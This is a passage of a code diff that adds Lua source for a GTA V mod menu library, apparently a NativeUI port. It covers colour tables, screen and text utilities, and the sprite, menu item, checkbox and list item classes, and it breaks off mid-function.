+ TrevorDark = { 127, 81, 43, 255 },
+ ObjectiveRoute = { 240, 200, 80, 255 },
+ PausemapTint = { 0, 0, 0, 255 },
+ PauseDeselect = { 100, 100, 100, 255 },
+ PmWeaponsPurchasable = { 45, 110, 185, 255 },
+ PmWeaponsLocked = { 240, 240, 240, 255 },
+ ScreenBg = { 0, 0, 0, 255 },
+ Chop = { 224, 50, 50, 255 },
+ PausemapTintHalf = { 0, 0, 0, 255 },
+ NorthBlueOfficial = { 0, 71, 133, 255 },
+ ScriptVariable2 = { 0, 0, 0, 255 },
+ H = { 33, 118, 37, 255 },
+ HDark = { 37, 102, 40, 255 },
+ T = { 234, 153, 28, 255 },
+ TDark = { 225, 140, 8, 255 },
+ HShard = { 20, 40, 0, 255 },
+ ControllerMichael = { 48, 255, 255, 255 },
+ ControllerFranklin = { 48, 255, 0, 255 },
+ ControllerTrevor = { 176, 80, 0, 255 },
+ ControllerChop = { 127, 0, 0, 255 },
+ VideoEditorVideo = { 53, 166, 224, 255 },
+ VideoEditorAudio = { 162, 79, 157, 255 },
+ VideoEditorText = { 104, 192, 141, 255 },
+ HbBlue = { 29, 100, 153, 255 },
+ HbYellow = { 234, 153, 28, 255 },
+ VideoEditorScore = { 240, 160, 1, 255 },
+ VideoEditorAudioFadeout = { 59, 34, 57, 255 },
+ VideoEditorTextFadeout = { 41, 68, 53, 255 },
+ VideoEditorScoreFadeout = { 82, 58, 10, 255 },
+ HeistBackground = { 37, 102, 40, 255 },
+ VideoEditorAmbient = { 240, 200, 80, 255 },
+ VideoEditorAmbientFadeout = { 80, 70, 34, 255 },
+ Gb = { 255, 133, 85, 255 },
+ G = { 255, 194, 170, 255 },
+ B = { 255, 133, 85, 255 },
+ LowFlow = { 240, 200, 80, 255 },
+ LowFlowDark = { 126, 107, 41, 255 },
+ G1 = { 247, 159, 123, 255 },
+ G2 = { 226, 134, 187, 255 },
+ G3 = { 239, 238, 151, 255 },
+ G4 = { 113, 169, 175, 255 },
+ G5 = { 160, 140, 193, 255 },
+ G6 = { 141, 206, 167, 255 },
+ G7 = { 181, 214, 234, 255 },
+ G8 = { 178, 144, 132, 255 },
+ G9 = { 0, 132, 114, 255 },
+ G10 = { 216, 85, 117, 255 },
+ G11 = { 30, 100, 152, 255 },
+ G12 = { 43, 181, 117, 255 },
+ G13 = { 233, 141, 79, 255 },
+ G14 = { 137, 210, 215, 255 },
+ G15 = { 134, 125, 141, 255 },
+ Adversary = { 109, 34, 33, 255 },
+ DegenRed = { 255, 0, 0, 255 },
+ DegenYellow = { 255, 255, 0, 255 },
+ DegenGreen = { 0, 255, 0, 255 },
+ DegenCyan = { 0, 255, 255, 255 },
+ DegenBlue = { 0, 0, 255, 255 },
+ DegenMagenta = { 255, 0, 255, 255 },
+ Stunt1 = { 38, 136, 234, 255 },
+ Stunt2 = { 224, 50, 50, 255 },
+}
+
+--[[
+ Utils.lua
+ Utilities
+--]]
+
+function GetResolution()
+ local W, H = GetActiveScreenResolution()
+ if (W / H) > 3.5 then
+ return GetScreenResolution()
+ else
+ return W, H
+ end
+end
+
+function FormatXWYH(Value, Value2)
+ return Value / 1920, Value2 / 1080
+end
+
+function math.round(num, numDecimalPlaces)
+ return tonumber(string.format("%." .. (numDecimalPlaces or 0) .. "f", num))
+end
+
+function tobool(input)
+ if input == "true" or tonumber(input) == 1 or input == true then
+ return true
+ else
+ return false
+ end
+end
+
+function string.split(inputstr, sep)
+ if sep == nil then
+ sep = "%s"
+ end
+ local t = {};
+ i = 1
+ for str in string.gmatch(inputstr, "([^" .. sep .. "]+)") do
+ t[i] = str
+ i = i + 1
+ end
+
+ return t
+end
+
+function string.starts(String, Start)
+ return string.sub(String, 1, string.len(Start)) == Start
+end
+
+function IsMouseInBounds(X, Y, Width, Height)
+ local MX, MY = math.round(GetControlNormal(0, 239) * 1920), math.round(GetControlNormal(0, 240) * 1080)
+ MX, MY = FormatXWYH(MX, MY)
+ X, Y = FormatXWYH(X, Y)
+ Width, Height = FormatXWYH(Width, Height)
+ return (MX >= X and MX <= X + Width) and (MY > Y and MY < Y + Height)
+end
+
+function GetSafeZoneBounds()
+ local SafeSize = GetSafeZoneSize()
+ SafeSize = math.round(SafeSize, 2)
+ SafeSize = (SafeSize * 100) - 90
+ SafeSize = 10 - SafeSize
+
+ local W, H = 1920, 1080
+
+ return { X = math.round(SafeSize * ((W / H) * 5.4)), Y = math.round(SafeSize * 5.4) }
+end
+
+---Returns true if the player is using a controller
+---@return boolean
+function Controller()
+ return not IsInputDisabled(2)
+end
+
+--[[
+ UIResRectangle.lua
+ Elements
+--]]
+
+function UIResRectangle.New(X, Y, Width, Height, R, G, B, A)
+ local _UIResRectangle = {
+ X = tonumber(X) or 0,
+ Y = tonumber(Y) or 0,
+ Width = tonumber(Width) or 0,
+ Height = tonumber(Height) or 0,
+ _Colour = { R = tonumber(R) or 255, G = tonumber(G) or 255, B = tonumber(B) or 255, A = tonumber(A) or 255 },
+ }
+ return setmetatable(_UIResRectangle, UIResRectangle)
+end
+
+function UIResRectangle:Position(X, Y)
+ if tonumber(X) and tonumber(Y) then
+ self.X = tonumber(X)
+ self.Y = tonumber(Y)
+ else
+ return { X = self.X, Y = self.Y }
+ end
+end
+
+function UIResRectangle:Size(Width, Height)
+ if tonumber(Width) and tonumber(Height) then
+ self.Width = tonumber(Width)
+ self.Height = tonumber(Height)
+ else
+ return { Width = self.Width, Height = self.Height }
+ end
+end
+
+function UIResRectangle:Colour(R, G, B, A)
+ if tonumber(R) or tonumber(G) or tonumber(B) or tonumber(A) then
+ self._Colour.R = tonumber(R) or 255
+ self._Colour.B = tonumber(B) or 255
+ self._Colour.G = tonumber(G) or 255
+ self._Colour.A = tonumber(A) or 255
+ else
+ return self._Colour
+ end
+end
+
+function UIResRectangle:Draw()
+ local Position = self:Position()
+ local Size = self:Size()
+ Size.Width, Size.Height = FormatXWYH(Size.Width, Size.Height)
+ Position.X, Position.Y = FormatXWYH(Position.X, Position.Y)
+ DrawRect(Position.X + Size.Width * 0.5, Position.Y + Size.Height * 0.5, Size.Width, Size.Height, self._Colour.R, self._Colour.G, self._Colour.B, self._Colour.A)
+end
+
+function DrawRectangle(X, Y, Width, Height, R, G, B, A)
+ X, Y, Width, Height = X or 0, Y or 0, Width or 0, Height or 0
+ X, Y = FormatXWYH(X, Y)
+ Width, Height = FormatXWYH(Width, Height)
+ DrawRect(X + Width * 0.5, Y + Height * 0.5, Width, Height, tonumber(R) or 255, tonumber(G) or 255, tonumber(B) or 255, tonumber(A) or 255)
+end
+
+--[[
+ UIResText.lua
+ Elements
+--]]
+
+function GetCharacterCount(str)
+ local characters = 0
+ for c in str:gmatch("[%z\1-\127\194-\244][\128-\191]*") do
+ local a = c:byte(1, -1)
+ if a ~= nil then
+ characters = characters + 1
+ end
+ end
+ return characters
+end
+
+function GetByteCount(str)
+ local bytes = 0
+
+ for c in str:gmatch("[%z\1-\127\194-\244][\128-\191]*") do
+ local a, b, c, d = c:byte(1, -1)
+ if a ~= nil then
+ bytes = bytes + 1
+ end
+ if b ~= nil then
+ bytes = bytes + 1
+ end
+ if c ~= nil then
+ bytes = bytes + 1
+ end
+ if d ~= nil then
+ bytes = bytes + 1
+ end
+ end
+ return bytes
+end
+
+function AddLongStringForAscii(str)
+ local maxbytelength = 99
+ for i = 0, GetCharacterCount(str), 99 do
+ AddTextComponentSubstringPlayerName(string.sub(str, i, math.min(maxbytelength, GetCharacterCount(str) - i))) --needs changed
+ end
+end
+
+function AddLongStringForUtf8(str)
+ local maxbytelength = 99
+ local bytecount = GetByteCount(str)
+
+ if bytecount < maxbytelength then
+ AddTextComponentSubstringPlayerName(str)
+ return
+ end
+
+ local startIndex = 0
+
+ for i = 0, GetCharacterCount(str), 1 do
+ local length = i - startIndex
+ if GetByteCount(string.sub(str, startIndex, length)) > maxbytelength then
+ AddTextComponentSubstringPlayerName(string.sub(str, startIndex, length - 1))
+ i = i - 1
+ startIndex = startIndex + (length - 1)
+ end
+ end
+ AddTextComponentSubstringPlayerName(string.sub(str, startIndex, GetCharacterCount(str) - startIndex))
+end
+
+function AddLongString(str)
+ local bytecount = GetByteCount(str)
+ if bytecount == GetCharacterCount(str) then
+ AddLongStringForAscii(str)
+ else
+ AddLongStringForUtf8(str)
+ end
+end
+
+function MeasureStringWidthNoConvert(str, font, scale)
+ BeginTextCommandWidth("STRING")
+ AddLongString(str)
+ SetTextFont(font or 0)
+ SetTextScale(1.0, scale or 0)
+ return EndTextCommandGetWidth(true)
+end
+
+function MeasureStringWidth(str, font, scale)
+ return MeasureStringWidthNoConvert(str, font, scale) * 1920
+end
+
+function UIResText.New(Text, X, Y, Scale, R, G, B, A, Font, Alignment, DropShadow, Outline, WordWrap)
+ local _UIResText = {
+ _Text = tostring(Text) or "",
+ X = tonumber(X) or 0,
+ Y = tonumber(Y) or 0,
+ Scale = tonumber(Scale) or 0,
+ _Colour = { R = tonumber(R) or 255, G = tonumber(G) or 255, B = tonumber(B) or 255, A = tonumber(A) or 255 },
+ Font = tonumber(Font) or 0,
+ Alignment = Alignment or nil,
+ DropShadow = Dropshadow or nil,
+ Outline = Outline or nil,
+ WordWrap = tonumber(WordWrap) or 0,
+ }
+ return setmetatable(_UIResText, UIResText)
+end
+
+function UIResText:Position(X, Y)
+ if tonumber(X) and tonumber(Y) then
+ self.X = tonumber(X)
+ self.Y = tonumber(Y)
+ else
+ return { X = self.X, Y = self.Y }
+ end
+end
+
+function UIResText:Colour(R, G, B, A)
+ if tonumber(R) and tonumber(G) and tonumber(B) and tonumber(A) then
+ self._Colour.R = tonumber(R)
+ self._Colour.B = tonumber(B)
+ self._Colour.G = tonumber(G)
+ self._Colour.A = tonumber(A)
+ else
+ return self._Colour
+ end
+end
+
+function UIResText:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self._Text = tostring(Text)
+ else
+ return self._Text
+ end
+end
+
+function UIResText:Draw()
+ local Position = self:Position()
+ Position.X, Position.Y = FormatXWYH(Position.X, Position.Y)
+
+ SetTextFont(self.Font)
+ SetTextScale(1.0, self.Scale)
+ SetTextColour(self._Colour.R, self._Colour.G, self._Colour.B, self._Colour.A)
+
+ if self.DropShadow then
+ SetTextDropShadow()
+ end
+ if self.Outline then
+ SetTextOutline()
+ end
+
+ if self.Alignment ~= nil then
+ if self.Alignment == 1 or self.Alignment == "Center" or self.Alignment == "Centre" then
+ SetTextCentre(true)
+ elseif self.Alignment == 2 or self.Alignment == "Right" then
+ SetTextRightJustify(true)
+ SetTextWrap(0, Position.X)
+ end
+ end
+
+ if tonumber(self.WordWrap) then
+ if tonumber(self.WordWrap) ~= 0 then
+ SetTextWrap(Position.X, Position.X + (tonumber(self.WordWrap) / Resolution.Width))
+ end
+ end
+
+ BeginTextCommandDisplayText("STRING")
+ AddLongString(self._Text)
+ EndTextCommandDisplayText(Position.X, Position.Y)
+end
+
+function RenderText(Text, X, Y, Font, Scale, R, G, B, A, Alignment, DropShadow, Outline, WordWrap)
+ Text = tostring(Text)
+ X, Y = FormatXWYH(X, Y)
+ SetTextFont(Font or 0)
+ SetTextScale(1.0, Scale or 0)
+ SetTextColour(R or 255, G or 255, B or 255, A or 255)
+
+ if DropShadow then
+ SetTextDropShadow()
+ end
+ if Outline then
+ SetTextOutline()
+ end
+
+ if Alignment ~= nil then
+ if Alignment == 1 or Alignment == "Center" or Alignment == "Centre" then
+ SetTextCentre(true)
+ elseif Alignment == 2 or Alignment == "Right" then
+ SetTextRightJustify(true)
+ SetTextWrap(0, X)
+ end
+ end
+
+ if tonumber(WordWrap) then
+ if tonumber(WordWrap) ~= 0 then
+ WordWrap, _ = FormatXWYH(WordWrap, 0)
+ SetTextWrap(WordWrap, X - WordWrap)
+ end
+ end
+
+ BeginTextCommandDisplayText("STRING")
+ AddLongString(Text)
+ EndTextCommandDisplayText(X, Y)
+end
+
+--[[
+ Sprite.lua
+ Elements
+--]]
+
+function Sprite.New(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A)
+ local _Sprite = {
+ TxtDictionary = tostring(TxtDictionary),
+ TxtName = tostring(TxtName),
+ X = tonumber(X) or 0,
+ Y = tonumber(Y) or 0,
+ Width = tonumber(Width) or 0,
+ Height = tonumber(Height) or 0,
+ Heading = tonumber(Heading) or 0,
+ _Colour = { R = tonumber(R) or 255, G = tonumber(G) or 255, B = tonumber(B) or 255, A = tonumber(A) or 255 },
+ }
+ return setmetatable(_Sprite, Sprite)
+end
+
+function Sprite:Position(X, Y)
+ if tonumber(X) and tonumber(Y) then
+ self.X = tonumber(X)
+ self.Y = tonumber(Y)
+ else
+ return { X = self.X, Y = self.Y }
+ end
+end
+
+function Sprite:Size(Width, Height)
+ if tonumber(Width) and tonumber(Width) then
+ self.Width = tonumber(Width)
+ self.Height = tonumber(Height)
+ else
+ return { Width = self.Width, Height = self.Height }
+ end
+end
+
+function Sprite:Colour(R, G, B, A)
+ if tonumber(R) or tonumber(G) or tonumber(B) or tonumber(A) then
+ self._Colour.R = tonumber(R) or 255
+ self._Colour.B = tonumber(B) or 255
+ self._Colour.G = tonumber(G) or 255
+ self._Colour.A = tonumber(A) or 255
+ else
+ return self._Colour
+ end
+end
+
+function Sprite:Draw()
+ if not HasStreamedTextureDictLoaded(self.TxtDictionary) then
+ RequestStreamedTextureDict(self.TxtDictionary, true)
+ end
+ local Position = self:Position()
+ local Size = self:Size()
+ Size.Width, Size.Height = FormatXWYH(Size.Width, Size.Height)
+ Position.X, Position.Y = FormatXWYH(Position.X, Position.Y)
+ DrawSprite(self.TxtDictionary, self.TxtName, Position.X + Size.Width * 0.5, Position.Y + Size.Height * 0.5, Size.Width, Size.Height, self.Heading, self._Colour.R, self._Colour.G, self._Colour.B, self._Colour.A)
+end
+
+function DrawTexture(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A)
+ if not HasStreamedTextureDictLoaded(tostring(TxtDictionary) or "") then
+ RequestStreamedTextureDict(tostring(TxtDictionary) or "", true)
+ end
+ X, Y, Width, Height = X or 0, Y or 0, Width or 0, Height or 0
+ X, Y = FormatXWYH(X, Y)
+ Width, Height = FormatXWYH(Width, Height)
+ DrawSprite(tostring(TxtDictionary) or "", tostring(TxtName) or "", X + Width * 0.5, Y + Height * 0.5, Width, Height, tonumber(Heading) or 0, tonumber(R) or 255, tonumber(G) or 255, tonumber(B) or 255, tonumber(A) or 255)
+end
+
+--[[
+ StringMeasurer.lua
+ Elements
+--]]
+
+function MeasureString(str)
+ local output = 0
+ for i = 1, GetCharacterCount(str), 1 do
+ if CharacterMap[string.sub(str, i, i)] then
+ output = output + CharacterMap[string.sub(str, i, i)] + 1
+ end
+ end
+ return output
+end
+
+--[[
+ Badge.lua
+ Elements
+--]]
+
+function GetBadgeTexture(Badge, Selected)
+ if BadgeTexture[Badge] then
+ return BadgeTexture[Badge](Selected)
+ else
+ return ""
+ end
+end
+
+function GetBadgeDictionary(Badge, Selected)
+ if BadgeDictionary[Badge] then
+ return BadgeDictionary[Badge](Selected)
+ else
+ return "commonmenu"
+ end
+end
+
+function GetBadgeColour(Badge, Selected)
+ if BadgeColour[Badge] then
+ return BadgeColour[Badge](Selected)
+ else
+ return 255, 255, 255, 255
+ end
+end
+
+--[[
+ Colours.lua
+ Elements
+--]]
+
+--[[
+ UIMenuItem.lua
+ Items
+--]]
+
+function UIMenuItem.New(Text, Description)
+ _UIMenuItem = {
+ Rectangle = UIResRectangle.New(0, 0, 431, 38, 255, 255, 255, 20),
+ Text = UIResText.New(tostring(Text) or "", 8, 0, 0.33, 245, 245, 245, 255, 0),
+ _Description = tostring(Description) or "";
+ SelectedSprite = Sprite.New("commonmenu", "gradient_nav", 0, 0, 431, 38),
+ LeftBadge = { Sprite = Sprite.New("commonmenu", "", 0, 0, 40, 40), Badge = 0 },
+ RightBadge = { Sprite = Sprite.New("commonmenu", "", 0, 0, 40, 40), Badge = 0 },
+ Label = {
+ Text = UIResText.New("", 0, 0, 0.35, 245, 245, 245, 255, 0, "Right"),
+ MainColour = { R = 255, G = 255, B = 255, A = 255 },
+ HighlightColour = { R = 0, G = 0, B = 0, A = 255 },
+ },
+ _Selected = false,
+ _Hovered = false,
+ _Enabled = true,
+ _Offset = { X = 0, Y = 0 },
+ ParentMenu = nil,
+ Panels = {},
+ Activated = function(menu, item, panels) end,
+ ActivatedPanel = function(menu, item, panel, panelvalue) end,
+ }
+ return setmetatable(_UIMenuItem, UIMenuItem)
+end
+
+function UIMenuItem:SetParentMenu(Menu)
+ if Menu ~= nil and Menu() == "UIMenu" then
+ self.ParentMenu = Menu
+ else
+ return self.ParentMenu
+ end
+end
+
+function UIMenuItem:Selected(bool)
+ if bool ~= nil then
+ self._Selected = tobool(bool)
+ else
+ return self._Selected
+ end
+end
+
+function UIMenuItem:Hovered(bool)
+ if bool ~= nil then
+ self._Hovered = tobool(bool)
+ else
+ return self._Hovered
+ end
+end
+
+function UIMenuItem:Enabled(bool)
+ if bool ~= nil then
+ self._Enabled = tobool(bool)
+ else
+ return self._Enabled
+ end
+end
+
+function UIMenuItem:Description(str)
+ if tostring(str) and str ~= nil then
+ self._Description = tostring(str)
+ else
+ return self._Description
+ end
+end
+
+function UIMenuItem:Offset(X, Y)
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self._Offset.Y = tonumber(Y)
+ end
+ else
+ return self._Offset
+ end
+end
+
+function UIMenuItem:Position(Y)
+ if tonumber(Y) then
+ self.Rectangle:Position(self._Offset.X, Y + 144 + self._Offset.Y)
+ self.SelectedSprite:Position(0 + self._Offset.X, Y + 144 + self._Offset.Y)
+ self.Text:Position(8 + self._Offset.X, Y + 147 + self._Offset.Y)
+ self.LeftBadge.Sprite:Position(0 + self._Offset.X, Y + 142 + self._Offset.Y)
+ self.RightBadge.Sprite:Position(385 + self._Offset.X, Y + 142 + self._Offset.Y)
+ self.Label.Text:Position(420 + self._Offset.X, Y + 148 + self._Offset.Y)
+ end
+end
+
+function UIMenuItem:RightLabel(Text, MainColour, HighlightColour)
+ if tostring(Text) and Text ~= nil then
+ if type(MainColour) == "table" then
+ self.Label.MainColour = MainColour
+ end
+ if type(HighlightColour) == "table" then
+ self.Label.HighlightColour = HighlightColour
+ end
+ self.Label.Text:Text(tostring(Text))
+ else
+ return self.Label.Text:Text()
+ end
+end
+
+function UIMenuItem:SetLeftBadge(Badge)
+ if tonumber(Badge) then
+ self.LeftBadge.Badge = tonumber(Badge)
+ end
+end
+
+function UIMenuItem:SetRightBadge(Badge)
+ if tonumber(Badge) then
+ self.RightBadge.Badge = tonumber(Badge)
+ end
+end
+
+function UIMenuItem:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self.Text:Text(tostring(Text))
+ else
+ return self.Text:Text()
+ end
+end
+
+function UIMenuItem:AddPanel(Panel)
+ if Panel() == "UIMenuPanel" then
+ table.insert(self.Panels, Panel)
+ Panel:SetParentItem(self)
+ end
+end
+
+function UIMenuItem:RemovePanelAt(Index)
+ if tonumber(Index) then
+ if self.Panels[Index] then
+ table.remove(self.Panels, tonumber(Index))
+ end
+ end
+end
+
+function UIMenuItem:FindPanelIndex(Panel)
+ if Panel() == "UIMenuPanel" then
+ for Index = 1, #self.Panels do
+ if self.Panels[Index] == Panel then
+ return Index
+ end
+ end
+ end
+ return nil
+end
+
+function UIMenuItem:FindPanelItem()
+ for Index = #self.Items, 1, -1 do
+ if self.Items[Index].Panel then
+ return Index
+ end
+ end
+ return nil
+end
+
+function UIMenuItem:Draw()
+ self.Rectangle:Size(431 + self.ParentMenu.WidthOffset, self.Rectangle.Height)
+ self.SelectedSprite:Size(431 + self.ParentMenu.WidthOffset, self.SelectedSprite.Height)
+
+ if self._Hovered and not self._Selected then
+ self.Rectangle:Draw()
+ end
+
+ if self._Selected then
+ self.SelectedSprite:Draw()
+ end
+
+ if self._Enabled then
+ if self._Selected then
+ self.Text:Colour(0, 0, 0, 255)
+ self.Label.Text:Colour(self.Label.HighlightColour.R, self.Label.HighlightColour.G, self.Label.HighlightColour.B, self.Label.HighlightColour.A)
+ else
+ self.Text:Colour(245, 245, 245, 255)
+ self.Label.Text:Colour(self.Label.MainColour.R, self.Label.MainColour.G, self.Label.MainColour.B, self.Label.MainColour.A)
+ end
+ else
+ self.Text:Colour(163, 159, 148, 255)
+ self.Label.Text:Colour(163, 159, 148, 255)
+ end
+
+ if self.LeftBadge.Badge == BadgeStyle.None then
+ self.Text:Position(8 + self._Offset.X, self.Text.Y)
+ else
+ self.Text:Position(35 + self._Offset.X, self.Text.Y)
+ self.LeftBadge.Sprite.TxtDictionary = GetBadgeDictionary(self.LeftBadge.Badge, self._Selected)
+ self.LeftBadge.Sprite.TxtName = GetBadgeTexture(self.LeftBadge.Badge, self._Selected)
+ self.LeftBadge.Sprite:Colour(GetBadgeColour(self.LeftBadge.Badge, self._Selected))
+ self.LeftBadge.Sprite:Draw()
+ end
+
+ if self.RightBadge.Badge ~= BadgeStyle.None then
+ self.RightBadge.Sprite:Position(385 + self._Offset.X + self.ParentMenu.WidthOffset, self.RightBadge.Sprite.Y)
+ self.RightBadge.Sprite.TxtDictionary = GetBadgeDictionary(self.RightBadge.Badge, self._Selected)
+ self.RightBadge.Sprite.TxtName = GetBadgeTexture(self.RightBadge.Badge, self._Selected)
+ self.RightBadge.Sprite:Colour(GetBadgeColour(self.RightBadge.Badge, self._Selected))
+ self.RightBadge.Sprite:Draw()
+ end
+
+ if self.Label.Text:Text() ~= "" and string.len(self.Label.Text:Text()) > 0 then
+ self.Label.Text:Position(420 + self._Offset.X + self.ParentMenu.WidthOffset, self.Label.Text.Y)
+ self.Label.Text:Draw()
+ end
+
+ self.Text:Draw()
+end
+
+--[[
+ UIMenuCheckboxItem.lua
+ Items
+--]]
+
+function UIMenuCheckboxItem.New(Text, Check, Description)
+ local _UIMenuCheckboxItem = {
+ Base = UIMenuItem.New(Text or "", Description or ""),
+ CheckedSprite = Sprite.New("commonmenu", "shop_box_blank", 410, 95, 50, 50),
+ Checked = tobool(Check),
+ CheckboxEvent = function(menu, item, checked) end,
+ }
+ return setmetatable(_UIMenuCheckboxItem, UIMenuCheckboxItem)
+end
+
+function UIMenuCheckboxItem:SetParentMenu(Menu)
+ if Menu() == "UIMenu" then
+ self.Base.ParentMenu = Menu
+ else
+ return self.Base.ParentMenu
+ end
+end
+
+function UIMenuCheckboxItem:Position(Y)
+ if tonumber(Y) then
+ self.Base:Position(Y)
+ self.CheckedSprite:Position(380 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 138 + self.Base._Offset.Y)
+ end
+end
+
+function UIMenuCheckboxItem:Selected(bool)
+ if bool ~= nil then
+ self.Base._Selected = tobool(bool)
+ else
+ return self.Base._Selected
+ end
+end
+
+function UIMenuCheckboxItem:Hovered(bool)
+ if bool ~= nil then
+ self.Base._Hovered = tobool(bool)
+ else
+ return self.Base._Hovered
+ end
+end
+
+function UIMenuCheckboxItem:Enabled(bool)
+ if bool ~= nil then
+ self.Base._Enabled = tobool(bool)
+ else
+ return self.Base._Enabled
+ end
+end
+
+function UIMenuCheckboxItem:Description(str)
+ if tostring(str) and str ~= nil then
+ self.Base._Description = tostring(str)
+ else
+ return self.Base._Description
+ end
+end
+
+function UIMenuCheckboxItem:Offset(X, Y)
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self.Base._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self.Base._Offset.Y = tonumber(Y)
+ end
+ else
+ return self.Base._Offset
+ end
+end
+
+function UIMenuCheckboxItem:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self.Base.Text:Text(tostring(Text))
+ else
+ return self.Base.Text:Text()
+ end
+end
+
+function UIMenuCheckboxItem:SetLeftBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuCheckboxItem:SetRightBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuCheckboxItem:RightLabel()
+ error("This item does not support a right label")
+end
+
+function UIMenuCheckboxItem:Draw()
+ self.Base:Draw()
+ self.CheckedSprite:Position(380 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.CheckedSprite.Y)
+ if self.Base:Selected() then
+ if self.Checked then
+ self.CheckedSprite.TxtName = "shop_box_tickb"
+ else
+ self.CheckedSprite.TxtName = "shop_box_blankb"
+ end
+ else
+ if self.Checked then
+ self.CheckedSprite.TxtName = "shop_box_tick"
+ else
+ self.CheckedSprite.TxtName = "shop_box_blank"
+ end
+ end
+ self.CheckedSprite:Draw()
+end
+
+--[[
+ UIMenuListItem.lua
+ Items
+--]]
+
+function UIMenuListItem.New(Text, Items, Index, Description)
+ if type(Items) ~= "table" then Items = {} end
+ if Index == 0 then Index = 1 end
+ local _UIMenuListItem = {
+ Base = UIMenuItem.New(Text or "", Description or ""),
+ Items = Items,
+ LeftArrow = Sprite.New("commonmenu", "arrowleft", 110, 105, 30, 30),
+ RightArrow = Sprite.New("commonmenu", "arrowright", 280, 105, 30, 30),
+ ItemText = UIResText.New("", 290, 104, 0.35, 255, 255, 255, 255, 0, "Right"),
+ _Index = tonumber(Index) or 1,
+ Panels = {},
+ OnListChanged = function(menu, item, newindex) end,
+ OnListSelected = function(menu, item, newindex) end,
+ }
+ return setmetatable(_UIMenuListItem, UIMenuListItem)
+end
+
+function UIMenuListItem:SetParentMenu(Menu)
+ if Menu ~= nil and Menu() == "UIMenu" then
+ self.Base.ParentMenu = Menu
+ else
+ return self.Base.ParentMenu
+ end
+end
+
+function UIMenuListItem:Position(Y)
+ if tonumber(Y) then
+ self.LeftArrow:Position(300 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 147 + Y + self.Base._Offset.Y)
+ self.RightArrow:Position(400 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 147 + Y + self.Base._Offset.Y)
+ self.ItemText:Position(300 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 147 + Y + self.Base._Offset.Y)
+ self.Base:Position(Y)
+ end
+end
+
+function UIMenuListItem:Selected(bool)
+ if bool ~= nil then
+ self.Base._Selected = tobool(bool)
+ else
+ return self.Base._Selected
+ end
+end
+
+function UIMenuListItem:Hovered(bool)
+ if bool ~= nil then
+ self.Base._Hovered = tobool(bool)
+ else
+ return self.Base._Hovered
+ end
+end
+
+function UIMenuListItem:Enabled(bool)
+ if bool ~= nil then
+ self.Base._Enabled = tobool(bool)
+ else
+ return self.Base._Enabled
+ end
+end
+
+function UIMenuListItem:Description(str)
+ if tostring(str) and str ~= nil then
+ self.Base._Description = tostring(str)
+ else
+ return self.Base._Description
+ end
+end
+
+function UIMenuListItem:Offset(X, Y)
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self.Base._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self.Base._Offset.Y = tonumber(Y)
+ end
+ else
+ return self.Base._Offset
+ end
+end
+
+function UIMenuListItem:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self.Base.Text:Text(tostring(Text))
+ else
+ return self.Base.Text:Text()
+ end
+end
+
+function UIMenuListItem:Index(Index)
+ if tonumber(Index) then
+ if tonumber(Index) > #self.Items then
+ self._Index = 1
+ elseif tonumber(Index) < 1 then
+ self._Index = #self.Items
+ else
+ self._Index = tonumber(Index)
+ end
+ else
+ return self._Index
+ end
+end
+
+function UIMenuListItem:ItemToIndex(Item)
+ for i = 1, #self.Items do
+ if type(Item) == type(self.Items[i]) and Item == self.Items[i] then
+ return i
+ elseif type(self.Items[i]) == "table" and (type(Item) == type(self.Items[i].Name) or type(Item) == type(self.Items[i].Value)) and (Item == self.Items[i].Name or Item == self.Items[i].Value) then
+ return i
+ end
+ end
+end
+
+function UIMenuListItem:IndexToItem(Index)
+ if tonumber(Index) then
+ if tonumber(Index) == 0 then Index = 1 end
+ if self.Items[tonumber(Index)] then
+ return self.Items[tonumber(Index)]
+ end
+ end
+end
+
+function UIMenuListItem:SetLeftBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuListItem:SetRightBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuListItem:RightLabel()
+ error("This item does not support a right label")
+end
+
+function UIMenuListItem:AddPanel(Panel)
+ if Panel() == "UIMenuPanel" then
+ table.insert(self.Panels, Panel)
+ Panel:SetParentItem(self)
+ end
+end
+
+function UIMenuListItem:RemovePanelAt(Index)
+ if tonumber(Index) then
+ if self.Panels[Index] then
+ table.remove(self.Panels, tonumber(Index))
+ end
+ end
+end
+
+function UIMenuListItem:FindPanelIndex(Panel)
+ if Panel() == "UIMenuPanel" then
+ for Index = 1, #self.Panels do
+ if self.Panels[Index] == Panel then
+ return Index
+ end
+ end
+ end
+ return nil
+end
+
+function UIMenuListItem:FindPanelItem()
+ for Index = #self.Items, 1, -1 do
+ if self.Items[Index].Panel then
+ return Index
+ end
+ end
+ return nil
+end
+
+function UIMenuListItem:Draw()
+ self.Base:Draw()
+
+ if self:Enabled() then
+ if self:Selected() then
+ self.ItemText:Colour(0, 0, 0, 255)
+ self.LeftArrow:Colour(0, 0, 0, 255)
+ self.RightArrow:Colour(0, 0, 0, 255)
+ else
+ self.ItemText:Colour(245, 245, 245, 255)
+ self.LeftArrow:Colour(245, 245, 245, 255)
+ self.RightArrow:Colour(245, 245, 245, 255)
+ end
+ else
+ self.ItemText:Colour(163, 159, 148, 255)
+ self.LeftArrow:Colour(163, 159, 148, 255)
+ self.RightArrow:Colour(163, 159, 148, 255)
+ end
+
+ local Text = (type(self.Items[self._Index]) == "table") and tostring(self.Items[self._Index].Name) or tostring(self.Items[self._Index])
+ local Offset = MeasureStringWidth(Text, 0, 0.35)
+
+ self.ItemText:Text(Text)
